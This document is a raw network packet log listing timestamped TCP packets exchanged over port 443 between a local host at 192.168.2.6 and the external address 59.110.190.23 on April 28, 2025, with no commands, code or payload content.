Apr 28, 2025 16:40:42.827204943 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.827213049 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.827234030 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.827239990 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.827255964 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.827270985 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.827301979 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.827303886 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.827313900 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.827347040 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.827359915 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.827382088 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.827389002 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.827399015 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.827410936 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.827440023 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.827454090 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.827461958 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.827480078 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.827487946 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.827510118 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.827514887 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:42.827544928 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:42.827573061 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.139554024 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.139607906 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.139645100 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.139707088 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.139741898 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.139756918 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.139765978 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.139775038 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.139800072 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.139806032 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.139816999 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.139833927 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.139856100 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.139862061 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.139873981 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.139905930 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.139909029 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.139918089 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.139946938 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.139950991 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.139966011 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.139971972 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.139995098 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.140011072 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.140058041 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.140063047 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.140104055 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.140132904 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.140182018 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.140324116 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.140378952 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.140547991 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.140598059 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.140798092 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.140856981 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.140929937 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.140975952 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.141098022 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.141143084 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.141438961 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.141490936 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.141552925 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.141601086 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.141760111 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.141808033 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.141957998 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.142023087 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.142200947 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.142249107 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.142362118 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.142412901 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.142707109 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.142765045 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.142785072 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.142838001 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.143090963 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.143147945 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.143198013 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.143265009 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.143474102 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.143549919 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.143687963 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.143750906 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.143913031 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.143965006 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.143976927 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.144028902 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.144231081 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.144294024 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.144435883 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.144488096 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.144668102 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.144716978 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.144795895 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.144840956 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.144937992 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.144985914 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.145137072 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.145186901 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.145389080 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.145438910 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.146123886 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.146194935 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.146240950 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.146296024 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.146348000 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.146398067 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.146464109 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.146517038 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.146574020 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.146635056 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.146646023 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.146724939 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.467168093 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.467314005 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.467407942 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.467422009 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.467453957 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.467473984 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.467497110 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.467511892 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.467561960 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.467622995 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.467664957 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.467727900 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.467758894 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.467828989 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.467854023 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.467917919 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.467966080 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.468029976 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.468060970 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.468127966 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.468157053 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.468235016 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.468293905 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.468364954 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.468389988 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.468455076 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.468482018 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.468552113 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.468580961 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.468749046 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.468784094 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.468843937 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.468873978 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.468940020 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.468964100 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.469039917 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.469055891 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.469116926 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.469145060 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.469207048 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.469274044 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.469341040 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.469383001 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.469459057 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.469495058 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.469562054 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.469603062 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.469667912 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.469700098 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.469770908 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.469798088 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.469863892 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.469896078 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.469960928 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.469991922 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.470062017 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.470089912 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.470160007 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.470191956 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.470253944 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.470282078 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.470360041 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.470390081 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.470469952 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.470500946 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.470568895 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.470602036 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.470669985 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.470696926 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.470763922 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.470791101 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.470858097 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.470889091 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.470957041 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.470980883 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.471048117 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.471076012 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.471143961 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.471174002 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.471245050 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.471276999 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.471359968 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.471378088 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.471457005 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.471518993 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.471594095 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.471653938 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.471719027 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.471750975 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.471816063 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.471842051 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.471910000 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.471967936 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.472037077 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.472064972 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.472131014 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.472161055 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.472229958 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.472304106 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.472374916 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.472417116 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.472486019 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.472531080 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.472599983 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.472645044 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.472718954 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.472764969 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.472836971 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.472867966 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.472934008 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.472965002 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.473033905 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.473062992 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.473133087 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.473161936 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.473228931 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.473257065 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.473325014 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.473347902 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.473417044 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.473455906 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.473535061 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.473565102 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.473637104 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.473668098 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.473740101 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.473767996 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.473834038 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.473876953 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.473938942 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.473993063 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.474067926 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.474111080 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.474186897 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.474212885 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.474273920 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.474333048 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.474399090 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.474426031 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.474495888 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.474524021 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.474591017 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.474617004 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.474687099 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.474711895 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.474781036 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.474811077 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.474879980 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.474905968 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.474970102 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.475001097 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.475064993 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.475094080 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.475111008 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.475171089 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.475198984 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.475274086 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.475296021 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.475368977 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.475400925 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.475469112 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.475496054 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.475563049 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.475593090 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.475663900 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.475689888 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.475761890 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.475785971 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.475853920 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.475878000 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.475964069 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.475976944 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.476047993 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.476078033 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.476145029 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.476169109 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.476234913 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.476279020 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.476357937 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.476385117 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.476454973 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.481697083 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.781594038 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.781716108 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.781733036 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.781789064 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.781826973 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.781850100 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.781897068 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.781951904 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.782005072 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.782062054 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.782107115 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.782166004 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.782205105 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.782268047 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.782305956 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.782366037 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.782392025 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.782454967 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.782494068 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.782552004 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.782594919 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.782663107 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.782691002 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.782751083 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.782778025 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.782830954 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.782875061 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.782939911 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.782965899 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.783030033 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.783072948 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.783138037 CEST	49696	443	192.168.2.6	59.110.190.23
Apr 28, 2025 16:40:43.783159018 CEST	443	49696	59.110.190.23	192.168.2.6
Apr 28, 2025 16:40:43.783219099 CEST	49696	443	192.168.2.6	59.110.190.23
